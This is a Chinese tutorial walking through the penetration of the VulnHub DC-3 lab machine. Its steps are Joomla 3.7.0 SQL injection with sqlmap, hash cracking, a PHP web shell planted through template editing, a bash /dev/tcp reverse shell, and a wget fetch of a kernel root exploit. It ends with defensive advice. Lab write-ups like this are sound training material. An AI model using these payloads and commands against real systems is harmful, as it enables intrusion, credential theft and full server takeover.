vulnhub系列10——DC 3
字数 1117 2025-08-12 11:34:31

DC-3 靶场渗透测试实战教学文档

1. 靶场概述

DC-3 是 Vulnhub 上的一个渗透测试靶机,基于 Joomla CMS 构建,包含多个漏洞利用点和提权路径。本教学文档将详细讲解从信息收集到最终提权的完整渗透过程。

2. 信息收集阶段

2.1 网络扫描

使用 netdiscover 发现靶机 IP:

netdiscover -r 192.168.56.0/24

2.2 端口扫描

使用 nmap 进行全面扫描:

nmap -sV -Pn -sC 192.168.56.140 -p 0-65535

扫描结果显示:

  • 仅开放 80 端口
  • 运行的是 Joomla CMS

2.3 Web 应用识别

访问 80 端口确认是 Joomla 站点:

  • 使用 Kali 自带工具识别 Joomla 版本为 3.7.0
  • 发现后台路径(通常为 /administrator)

3. 漏洞利用阶段

3.1 Joomla SQL 注入漏洞

Joomla 3.7.0 存在已知 SQL 注入漏洞(CVE-2017-8917):

  1. 验证漏洞是否存在
  2. 使用 sqlmap 进行自动化利用:
sqlmap -u "http://192.168.56.140/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs

3.2 获取管理员凭据

sqlmap 提取的密码哈希:

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

使用 John the Ripper 破解:

john --format=bcrypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

破解结果:

  • 用户名:admin
  • 密码:snoopy

4. 获取初始访问

4.1 登录后台

访问 Joomla 后台(/administrator)使用凭据:

  • 用户名:admin
  • 密码:snoopy

4.2 获取 Web Shell

通过模板编辑获取 Web Shell:

  1. 在设置中启用模板预览功能
  2. 编辑任意模板文件,插入 PHP 恶意代码:
<?php system($_GET['cmd']); ?>
  1. 保存模板并通过预览功能触发代码执行

4.3 反弹 Shell

使用 nc 或 bash 反弹 shell:

bash -i >& /dev/tcp/攻击机IP/端口 0>&1

获取稳定 shell:

python -c "import pty;pty.spawn('/bin/bash');"

5. 权限提升阶段

5.1 枚举系统信息

检查系统用户:

cat /etc/passwd

发现存在 dc 用户

检查系统版本:

cat /etc/*-release

确认系统为 Ubuntu 16.04

5.2 查找 SUID 权限文件

find / -perm -u=s -type f 2>/dev/null

5.3 利用内核漏洞提权

使用 CVE-2016-4557 漏洞:

  1. 在攻击机启动 HTTP 服务:
python3 -m http.server 80
  1. 在靶机下载 exploit:
cd /tmp
wget http://攻击机IP/39772.zip
unzip 39772.zip
  1. 编译并运行 exploit:
chmod +x exploit
./exploit

成功获取 root 权限。

6. 总结

本靶场渗透路径:

  1. 信息收集发现 Joomla 3.7.0
  2. 利用 SQL 注入获取管理员凭据
  3. 通过模板编辑获取 Web Shell
  4. 反弹 Shell 获取交互式访问
  5. 利用内核漏洞实现提权

关键点:

  • Joomla 3.7.0 的 SQL 注入漏洞利用
  • 通过模板编辑获取 Web Shell 的技术
  • Ubuntu 16.04 内核漏洞提权方法

7. 防御建议

  1. 及时更新 CMS 系统和插件
  2. 限制后台模板编辑权限
  3. 定期更新操作系统内核
  4. 实施最小权限原则
  5. 监控异常文件修改行为
DC-3 靶场渗透测试实战教学文档 1. 靶场概述 DC-3 是 Vulnhub 上的一个渗透测试靶机,基于 Joomla CMS 构建,包含多个漏洞利用点和提权路径。本教学文档将详细讲解从信息收集到最终提权的完整渗透过程。 2. 信息收集阶段 2.1 网络扫描 使用 netdiscover 发现靶机 IP: 2.2 端口扫描 使用 nmap 进行全面扫描: 扫描结果显示: 仅开放 80 端口 运行的是 Joomla CMS 2.3 Web 应用识别 访问 80 端口确认是 Joomla 站点: 使用 Kali 自带工具识别 Joomla 版本为 3.7.0 发现后台路径(通常为 /administrator) 3. 漏洞利用阶段 3.1 Joomla SQL 注入漏洞 Joomla 3.7.0 存在已知 SQL 注入漏洞(CVE-2017-8917): 验证漏洞是否存在 使用 sqlmap 进行自动化利用: 3.2 获取管理员凭据 sqlmap 提取的密码哈希: 使用 John the Ripper 破解: 破解结果: 用户名:admin 密码:snoopy 4. 获取初始访问 4.1 登录后台 访问 Joomla 后台(/administrator)使用凭据: 用户名:admin 密码:snoopy 4.2 获取 Web Shell 通过模板编辑获取 Web Shell: 在设置中启用模板预览功能 编辑任意模板文件,插入 PHP 恶意代码: 保存模板并通过预览功能触发代码执行 4.3 反弹 Shell 使用 nc 或 bash 反弹 shell: 获取稳定 shell: 5. 权限提升阶段 5.1 枚举系统信息 检查系统用户: 发现存在 dc 用户 检查系统版本: 确认系统为 Ubuntu 16.04 5.2 查找 SUID 权限文件 5.3 利用内核漏洞提权 使用 CVE-2016-4557 漏洞: 在攻击机启动 HTTP 服务: 在靶机下载 exploit: 编译并运行 exploit: 成功获取 root 权限。 6. 总结 本靶场渗透路径: 信息收集发现 Joomla 3.7.0 利用 SQL 注入获取管理员凭据 通过模板编辑获取 Web Shell 反弹 Shell 获取交互式访问 利用内核漏洞实现提权 关键点: Joomla 3.7.0 的 SQL 注入漏洞利用 通过模板编辑获取 Web Shell 的技术 Ubuntu 16.04 内核漏洞提权方法 7. 防御建议 及时更新 CMS 系统和插件 限制后台模板编辑权限 定期更新操作系统内核 实施最小权限原则 监控异常文件修改行为